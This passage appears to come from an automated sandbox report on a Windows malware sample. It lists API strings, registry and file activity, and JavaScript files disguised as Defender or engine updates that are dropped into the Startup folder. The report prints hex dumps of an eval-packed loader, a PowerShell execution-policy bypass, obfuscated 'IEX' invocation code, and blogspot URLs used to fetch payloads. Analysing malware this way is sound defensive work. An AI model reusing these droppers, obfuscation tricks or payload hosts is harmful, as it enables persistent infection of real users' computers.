"00000000-00002216-00000C1E-25017440") Found string "SetThreadPreferredUILanguagesW" (Indicator: "SetThreadPreferredUILanguages"; in Source: "00000000-00002216-00000C1E-25018989") Found string "GetThreadPreferredUILanguages" (Indicator: "GetThreadPreferredUILanguages"; in Source: "00000000-00002216-00000C1E-25021089") Found string "GetThreadPreferredUILanguagesW" (Indicator: "GetThreadPreferredUILanguages"; in Source: "00000000-00002216-00000C1E-25022886") Found string "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; in Source: "00000000-00002216-00000C1E-25025501") Found string "GetUserDefaultLocaleNameW" (Indicator: "GetUserDefaultLocaleName"; in Source: "00000000-00002216-00000C1E-25027027") Found string "GetEnvironmentVariableW" (Indicator: "GetEnvironmentVariableW"; in Source: "00000000-00002216-00000C1E-25045776") Found string "CryptAcquireContextA" (Indicator: "CryptAcquireContextA"; in Source: "00000000-00002216-00000C1E-25161716") Found string "CryptReleaseContext" (Indicator: "CryptReleaseContext"; in Source: "00000000-00002216-00000C1E-25163167") Found string "CryptCreateHash" (Indicator: "CryptCreateHash"; in Source: "00000000-00002216-00000C1E-25170599") Found string "CryptDestroyHash" (Indicator: "CryptDestroyHash"; in Source: "00000000-00002216-00000C1E-25172237") Found string "CryptHashData" (Indicator: "CryptHashData"; in Source: "00000000-00002216-00000C1E-25173737") Found string "CryptGetHashParam" (Indicator: "CryptGetHashParam"; in Source: "00000000-00002216-00000C1E-25175160") Found string "CryptImportKey" (Indicator: "CryptImportKey"; in Source: "00000000-00002216-00000C1E-25176542") Found string "CryptGenKey" (Indicator: "CryptGenKey"; in Source: "00000000-00002216-00000C1E-25179305") Found string "CryptDestroyKey" (Indicator: "CryptDestroyKey"; in Source: "00000000-00002216-00000C1E-25184628") Found string "CoCreateGuid" (Indicator: "CoCreateGuid"; in Source: "00000000-00002216-00000C1E-26189683") Found string "GetConsoleScreenBufferInfo" (Indicator: "GetConsoleScreenBufferInfo"; in Source: "00000000-00002216-00000C1E-26195955") Found string "GetConsoleScreenBufferInfoW" (Indicator: "GetConsoleScreenBufferInfo"; in Source: "00000000-00002216-00000C1E-26197397") Found string "GetCurrentProcessW" (Indicator: "GetCurrentProcess"; in Source: "00000000-00002216-00000C1E-26203402") Found string "LocalFree" (Indicator: "LocalFree"; in Source: "00000000-00002216-00000C1E-26207646") Found string "GetTokenInformationW" (Indicator: "GetTokenInformation"; in Source: "00000000-00002216-00000C1E-26210134") Found string "LocalAlloc" (Indicator: "LocalAlloc"; in Source: "00000000-00002216-00000C1E-26211571") Found string "LocalAllocW" (Indicator: "LocalAlloc"; in Source: "00000000-00002216-00000C1E-26212831") Found string "DuplicateTokenEx" (Indicator: "DuplicateToken"; in Source: "00000000-00002216-00000C1E-26218263") Found string "DuplicateTokenExW" (Indicator: "DuplicateToken"; in Source: "00000000-00002216-00000C1E-26219429") Found string "CheckTokenMembership" (Indicator: "CheckTokenMembership"; in Source: "00000000-00002216-00000C1E-26221564") Found string "CheckTokenMembershipW" (Indicator: "CheckTokenMembership"; in Source: "00000000-00002216-00000C1E-26222738") Found string "GetConsoleTitleW" (Indicator: "GetConsoleTitleW"; in Source: "00000000-00002216-00000C1E-26261081") Found string "CreateEventW" (Indicator: "CreateEventW"; in Source: "00000000-00002216-00000C1E-26279313") Found string "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStringsW"; in Source: "00000000-00002216-00000C1E-26448429") Found string "SetEnvironmentVariableW" (Indicator: "SetEnvironmentVariableW"; in Source: "00000000-00002216-00000C1E-26490632") Found string "GetACP" (Indicator: "GetACP"; in Source: "00000000-00002216-00000C1E-26498767") Found string "UnmapViewOfFile" (Indicator: "UnmapViewOfFile"; in Source: "00000000-00002216-00000C1E-26501622") Found string "CreateFileW" (Indicator: "CreateFileW"; in Source: "00000000-00002216-00000C1E-26504847") Found string "GetFileType" (Indicator: "GetFileType"; in Source: "00000000-00002216-00000C1E-26506958") Found string "ReadFile" (Indicator: "ReadFile"; in Source: "00000000-00002216-00000C1E-26510235") Found string "GetSystemInfo" (Indicator: "GetSystemInfo"; in Source: "00000000-00002216-00000C1E-26520714") Found string "VirtualQuery" (Indicator: "VirtualQuery"; in Source: "00000000-00002216-00000C1E-26522423") Found string "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; in Source: "00000000-00002216-00000C1E-26799430") Found string "GetUserNameEx" (Indicator: "GetUserName"; in Source: "00000000-00002216-00000C1E-26901758") Found string "GetUserNameExW" (Indicator: "GetUserName"; in Source: "00000000-00002216-00000C1E-26902931") Found string "GetUserName" (Indicator: "GetUserName"; in Source: "00000000-00002216-00000C1E-26912303") Found string "ReleaseMutex" (Indicator: "ReleaseMutex"; in Source: "00000000-00002216-00000C1E-26963706") Found string "GetLogicalDrives" (Indicator: "GetLogicalDrives"; in Source: "00000000-00002216-00000C1E-27008108") Found string "GetDriveTypeW" (Indicator: "GetDriveTypeW"; in Source: "00000000-00002216-00000C1E-27011341") Found string "GetVolumeInformationW" (Indicator: "GetVolumeInformationW"; in Source: "00000000-00002216-00000C1E-27014619") Found string "GetCurrentDirectoryW" (Indicator: "etCurrentDirectoryW"; in Source: "00000000-00002216-00000C1E-27047243") Found string "CreateThreadpoolTimer" (Indicator: "CreateThread"; in Source: "00000000-00002216-00000C1E-27213148") Found string "CreateThreadpoolWait" (Indicator: "CreateThread"; in Source: "00000000-00002216-00000C1E-27216335") Found string "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; in Source: "00000000-00002216-00000C1E-27219877") Found string "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; in Source: "00000000-00002216-00000C1E-27220715") Found string "GetTickCount64" (Indicator: "GetTickCount"; in Source: "00000000-00002216-00000C1E-27223185") Found string "GetFileInformationByHandleEx" (Indicator: "GetFileInfo"; in Source: "00000000-00002216-00000C1E-27224007") Found string "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; in Source: "00000000-00002216-00000C1E-27225665") Found string "WakeAllConditionVariable" (Indicator: "WakeAllConditionVariable"; in Source: "00000000-00002216-00000C1E-27228351") Found string "SleepConditionVariableCS" (Indicator: "Sleep"; in Source: "00000000-00002216-00000C1E-27229175") Found string "TryAcquireSRWLockExclusive" (Indicator: "AcquireSRWLockExclusive"; in Source: "00000000-00002216-00000C1E-27231836") Found string "SleepConditionVariableSRW" (Indicator: "Sleep"; in Source: "00000000-00002216-00000C1E-27233503") Found string "CreateThreadpoolWork" (Indicator: "CreateThread"; in Source: "00000000-00002216-00000C1E-27234314") Found string "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; in Source: "00000000-00002216-00000C1E-27237548") Found string "GetLastError" (Indicator: "GetLastError"; in Source: "00000000-00002216-00000C1E-27334240") Found string "GetStdHandle" (Indicator: "GetStdHandle"; in Source: "00000000-00002216-00000C1E-27455519") Found string "GetStdHandleW" (Indicator: "GetStdHandle"; in Source: "00000000-00002216-00000C1E-27460999") Found string "GetConsoleMode" (Indicator: "GetConsoleMode"; in Source: "00000000-00002216-00000C1E-27462576") Found string "GetConsoleModeW" (Indicator: "GetConsoleMode"; in Source: "00000000-00002216-00000C1E-27463978") Found string "SetEvent" (Indicator: "SetEvent"; in Source: "00000000-00002216-00000C1E-27465932") Found string "WriteFile" (Indicator: "WriteFile"; in Source: "00000000-00002216-00000C1E-27791899") Found string "SwitchToThread" (Indicator: "SwitchToThread"; in Source: "00000000-00002216-00000C1E-33617670") Found string "CreateDirectoryW" (Indicator: "CreateDirectoryW"; in Source: "00000000-00002216-00000C1E-34618532") Found string "WriteConsoleW" (Indicator: "WriteConsoleW"; in Source: "00000000-00002216-00000C1E-34665464") Found string "GetConsoleOutputCP" (Indicator: "GetConsoleOutputCP"; in Source: "00000000-00002216-00000C1E-34677011") Found string "GetConsoleOutputCPW" (Indicator: "GetConsoleOutputCP"; in Source: "00000000-00002216-00000C1E-34678325") Found string "GetLongPathNameW" (Indicator: "GetLongPathNameW"; in Source: "00000000-00002216-00000C1E-34759759") Found string "FindFirstFileW" (Indicator: "FindFirstFileW"; in Source: "00000000-00002216-00000C1E-35913822") Found string "FindClose" (Indicator: "FindClose"; in Source: "00000000-00002216-00000C1E-35952543") Found string "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; in Source: "00000000-00002216-00000C1E-36513492") Found string "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; in Source: "00000000-00002216-00000C1E-36515584") Found string "OpenSCManager" (Indicator: "OpenSCManager"; in Source: "00000000-00002216-00000C1E-36920380") Found string "OpenSCManagerW" (Indicator: "OpenSCManager"; in Source: "00000000-00002216-00000C1E-36921648") Found string "OpenService" (Indicator: "OpenService"; in Source: "00000000-00002216-00000C1E-36935689") Found string "OpenServiceW" (Indicator: "OpenService"; in Source: "00000000-00002216-00000C1E-36936818") Found string "QueryServiceStatus" (Indicator: "QueryServiceStatus"; in Source: "00000000-00002216-00000C1E-36939200") Found string "QueryServiceStatusW" (Indicator: "QueryServiceStatus"; in Source: "00000000-00002216-00000C1E-36940386") Found string "CloseServiceHandle" (Indicator: "CloseServiceHandle"; in Source: "00000000-00002216-00000C1E-36942059") Found string "CloseServiceHandleW" (Indicator: "CloseServiceHandle"; in Source: "00000000-00002216-00000C1E-36943205") Found string "FindNextFileW" (Indicator: "FindNextFileW"; in Source: "00000000-00002216-00000C1E-37400080") Found string "SHGetFileInfo" (Indicator: "GetFileInfo"; in Source: "00000000-00002216-00000C1E-37498295") Found string "GetConsoleWindow" (Indicator: "GetConsoleWindow"; in Source: "00000000-00002216-00000C1E-37526239") Found string "lstrlenWW" (Indicator: "lstrlenW"; in Source: "00000000-00002216-00000C1E-37551296") Found string "RtlMoveMemory" (Indicator: "RtlMoveMemory"; in Source: "00000000-00002216-00000C1E-37552476") Found string "RtlMoveMemoryW" (Indicator: "RtlMoveMemory"; in Source: "00000000-00002216-00000C1E-37553619") Found string "CreateProcessW" (Indicator: "CreateProcessW"; in Source: "00000000-00002216-00000C1E-37569078") Found string "DuplicateHandle" (Indicator: "DuplicateHandle"; in Source: "00000000-00002216-00000C1E-37627473") Found string "FormatMessageW" (Indicator: "FormatMessageW"; in Source: "00000000-00002216-00000C1E-53674629") Found string "SetFileAttributesW" (Indicator: "SetFileAttributesW"; in Source: "00000000-00002216-00000C1E-53717673") Found string "DeleteFileW" (Indicator: "DeleteFileW"; in Source: "00000000-00002216-00000C1E-53723922") Found string "CoUninitialize" (Indicator: "CoUninitialize"; in Source: "00000000-00002216-00000C1E-53735582") Found string "CopyFileW" (Indicator: "CopyFileW"; in Source: "00000000-00002216-00000C1E-59198521") Found string "CorExitProcess_RetAddr" (Indicator: "ExitProcess"; in Source: "00000000-00002216-00000C1E-59579126") Found string "CorExitProcess" (Indicator: "ExitProcess"; in Source: "00000000-00002216-00000C1E-59580388") Found string "NetApiBufferFree" (Indicator: "NetApiBufferFree"; in Source: "00000000-00002216-00000C1E-60020191") Found string "ThemeApiConnectionRequest" (Indicator: "ThemeApiConnectionRequest"; in Source: "00000000-00002356-0000003B-438896") Found string "SecurityAccessCheckCacheLimit" (Indicator: "AccessCheck"; in Source: "00000000-00002932-00000BC0-57599245") Found string "ShellExecuteExW" (Indicator: "ShellExecuteExW"; in Source: "00000000-00002932-00000C1E-59218343") Found string "AcquireSRWLockShared" (Indicator: "AcquireSRWLockShared"; in Source: "00000000-00002932-00000C1E-59689582") Found string "ReleaseSRWLockShared" (Indicator: "ReleaseSRWLockShared"; in Source: "00000000-00002932-00000C1E-59692398") Found string "OleUninitialize" (Indicator: "OleUninitialize"; in Source: "00000000-00002932-00000C1E-60792414") Found string "CoCreateInstance" (Indicator: "CoCreateInstance"; in Source: "00000000-00002932-00000C1E-62259731") Found string "CoInitialize" (Indicator: "CoInitialize"; in Source: "00000000-00002932-00000C1E-62701135") Found string "CoGetObjectContext" (Indicator: "CoGetObject"; in Source: "00000000-00002932-00000C1E-63067807") Found string "OleInitialize" (Indicator: "OleInitialize"; in Source: "00000000-00002932-00000C1E-64129658") Found string "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; in Source: "00000000-00002932-00000C1E-65428271") Found string "DelegateExecute" (Indicator: "DelegateExecute"; in Source: "00000000-00002932-00000BC0-65607540") Found string "SLGetWindowsInformationDWORD" (Indicator: "GetWindow"; in Source: "00000000-00003704-00000C1E-70113711") Found string "PathRemoveFileSpecW" (Indicator: "PathRemoveFileSpecW"; in Source: "00000000-00003704-00000C1E-70163179") Found string "GetUserNameW" (Indicator: "GetUserName"; in Source: "00000000-00003704-00000C1E-74998029")2d:T410,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72770000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73be0000 "powershell.exe" loaded module "CLBCATQ.DLL" at base 76920000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75640000 "powershell.exe" loaded module "OLE32.DLL" at base 76290000 "powershell.exe" loaded module "USERENV.DLL" at base 75210000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76b20000 "powershell.exe" loaded module "COMCTL32.DLL" at base 73e60000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 77050000 "powershell.exe" loaded module "KERNEL32.DLL" at base 77270000 "powershell.exe" loaded module "SHELL32.DLL" at base 75640000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73c20000 "powershell.exe" loaded module "NTMARTA.DLL" at base 74520000 "powershell.exe" loaded module "APPHELP.DLL" at base 74eb00002e:T98e,"powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKCU\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}\TREATAS") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}") "WScript.exe" touched "New Moniker" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ECABAFC6-7F19-11D2-978E-0000F8757E2A}") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}\TREATAS") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER")2f:T76b,"urlref_httpsbakc2000.blogspot.comatom.xml" has type "UTF-8 Unicode text with very long lines with CRLF line terminators"- [targetUID: N/A] "CypherDeptography.~_~" has type "UTF-8 Unicode text with very long lines with CRLF line terminators"- [targetUID: N/A] "urlref_httpsbackuphotelall.blogspot.comatom.xml" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "G5WNIMU7S66B83E0KQ4E.temp" has type "data"- Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\G5WNIMU7S66B83E0KQ4E.temp]- [targetUID: 00000000-00003460] "COYV085E2J6T1GTRT98H.temp" has type "data"- Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\COYV085E2J6T1GTRT98H.temp]- [targetUID: 00000000-00002216] "REALENGINEUPDATE.js.bin" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "UpdateEscan.js" has type "ASCII text with very long lines"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\UpdateEscan.js]- [targetUID: 00000000-00002216] "WindowsDEFENDERUPDATE.js" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDEFENDERUPDATE.js]- [targetUID: 00000000-00002216] "D17P3WIXB6NS2IUD555X.temp" has type "data"- Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\D17P3WIXB6NS2IUD555X.temp]- [targetUID: 00000000-00001224] "UHJIZNP0CWF4LQKPNNRZ.temp" has type "data"- Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\UHJIZNP0CWF4LQKPNNRZ.temp]- [targetUID: 00000000-00003704] "REALENGINEUPDATE.js" has type "ASCII text with very long lines with no line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\REALENGINEUPDATE.js]- [targetUID: 00000000-00002932] "UpdateEscan.js.bin" has type "ASCII text with very long lines"- [targetUID: N/A] "WindowsDEFENDERUPDATE.js.bin" has type "ASCII text"- [targetUID: N/A]30:T75f,"powershell.exe" touched file "C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb" "powershell.exe" touched file "C:\Windows\System.Management.Automation.pdb" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COYV085E2J6T1GTRT98H.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CypherDeptography.~+~" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\REALENGINEUPDATE.js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateEscan.js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDEFENDERUPDATE.js" "powershell.exe" touched file "C:\Users\cyOFEWg\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "powershell.exe" touched file "c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config"31:T6db,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\NTMARTA.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\APPHELP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\NTSHRUI.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SRVCLI.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CSCAPI.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SLC.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL"32:T699,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.LOCAL" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D93F411851D7C929.CUSTOMDESTINATIONS-MS" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COYV085E2J6T1GTRT98H.TEMP" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\SECURITY.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH" "powershell.exe" trying to access non-existent file "C:\Windows\Globalization\EN-US.NLP" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME"33:T829,"powershell.exe" wrote to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CypherDeptography.~+~" "powershell.exe" wrote 30068 bytes to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CypherDeptography.~+~": 3433353334333633333335333333333333333933333331333333323333333633333337333433353334333633343434333433353334333133333335333333363333333333333336333433333334333533333334333433313333333633343333333333353333333133343334333433333334333433333333333333363334343433 ... "powershell.exe" wrote 874 bytes to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\REALENGINEUPDATE.js": 6576616c2866756e6374696f6e28702c612c632c6b2c652c64297b653d66756e6374696f6e2863297b72657475726e28633c613f27273a65287061727365496e7428632f612929292b2828633d632561293e33353f537472696e672e66726f6d43686172436f646528632b3239293a632e746f537472696e6728333629297d3b ... "powershell.exe" wrote 869 bytes to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateEscan.js": 6576616c2866756e6374696f6e28702c612c632c6b2c652c64297b653d66756e6374696f6e2863297b72657475726e28633c613f27273a65287061727365496e7428632f612929292b2828633d632561293e33353f537472696e672e66726f6d43686172436f646528632b3239293a632e746f537472696e6728333629297d3b ... "powershell.exe" wrote 551 bytes to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDEFENDERUPDATE.js": 68756c616b6162757472203d20416374697665584f626a65637428226e65773a7b46393335444332322d314346302d313144302d414442392d3030433034464435384130427d22293b0a575363726970745b22536c656570225d2833303030293b0a6d616775616c6569203d2022706f77657273682a5e202d45502042797061 ... "powershell.exe" wrote to file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\UpdateEscan.js" "powershell.exe" wrote to file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDEFENDERUPDATE.js" "WScript.exe" wrote to file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\REALENGINEUPDATE.js"34:T8f4,Pattern match: "https://backuphotelall.blogspot.com/atom.xml'$allslave" Pattern match: "https://bakc2000.blogspot.com/atom.xml'$shakalakaboomboom" Pattern match: "https://backuphotelall.blogspot.com/atom.xml" Pattern match: "https://bakc2000.blogspot.com/atom.xml" Pattern match: "https://backuphotelall.blogspot.com/atom.xml|11D0|1CF0|F935DC22|new|Bypa|ActiveXObject|||EX||ping|||RUN|ll|127|'.split('|'),0" Pattern match: "http://schema.org/WebPage" Pattern match: "www.gstatic.com,og.qtm.en_US.x3ks5OQMuEM.2019.O,com,en,538,0,[4,2,,,,516079590,0],null,fUQbZN2VCvzG0PEPjs6JgAI,null,0,og.qtm.iN01Z40G9Cg.L.W.O,AA2YrTsLMDC5ShDgua5PEfbsQVpNWEqjoQ,AA2YrTsQlHCws7t2r7Egcs1hOau_HvMlbg,,2,1,200,USA" Pattern match: "https://www.google.com;b+=/gen_204?use_corp=on&;b+=a.Ia(2040-b.length);od(_.Sc(b)||_.Wc)};od=function(a){var" Pattern match: "google.com/doodles/44th-anniversary-of-the-birth-of-hip-hop\\u0026sa\x3dt\\u0026usg\x3dAOvVaw2vBtVfJ6NW8BTwTGO90iGY\x22,\x22id\x22:\x22playful\x22,\x22msg\x22:\x22I\x27m" Pattern match: "https://bakc2000.blogspot.com/atom.xml|11D0|1CF0|F935DC22|new|Bypa|ActiveXObject|||EX||ping|||RUN|ll|127|'.split('|'),0" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\schtasks.COM" Heuristic match: "%WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.WSMan.Man#\7bf5729401cff7ea7898124e9818ed20\Microsoft.WSMan.Management.ni" Heuristic match: "%WINDIR%\system32\schtasks.COM" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\Iwr.COM" Heuristic match: "%WINDIR%\system32\Iwr.COM" Heuristic match: "%WINDIR%\Iwr.COM" Heuristic match: "%WINDIR%\System32\Wbem\Iwr.COM" Heuristic match: "%WINDIR%\System32\WindowsPowerShell\v1.0\Iwr.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python36-32\Scripts\Iwr.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python36-32\Iwr.COM" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\get-Iwr.COM" Heuristic match: "%WINDIR%\system32\get-Iwr.COM" Heuristic match: "%WINDIR%\get-Iwr.COM" Heuristic match: "%WINDIR%\System32\Wbem\get-Iwr.COM" Heuristic match: "%WINDIR%\System32\WindowsPowerShell\v1.0\get-Iwr.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python36-32\Scripts\get-Iwr.COM" Heuristic match: "%LOCALAPPDATA%\Programs\Python\Python36-32\get-Iwr.COM"35:T688e,"$sexybunbun) | .('{x}{9}'.replace('9','0').replace('x','1')-f'lun','%%').replace('%%','I').replace('lun','EX')#the File will start cumiing to your pc'@[IO.File]::WriteAllText("$colaburbumbum\\CypherDeptography.~+~", $NuclearDefusion)$NuclearDefusion | .('{x}{9}'.replace('9','0').replace('x','1')-f'lun','%%').replace('%%','I').replace('lun','EX')$ALLSLAVEBACKUP = 'https://backuphotelall.blogspot.com/atom.xml'$allslave = 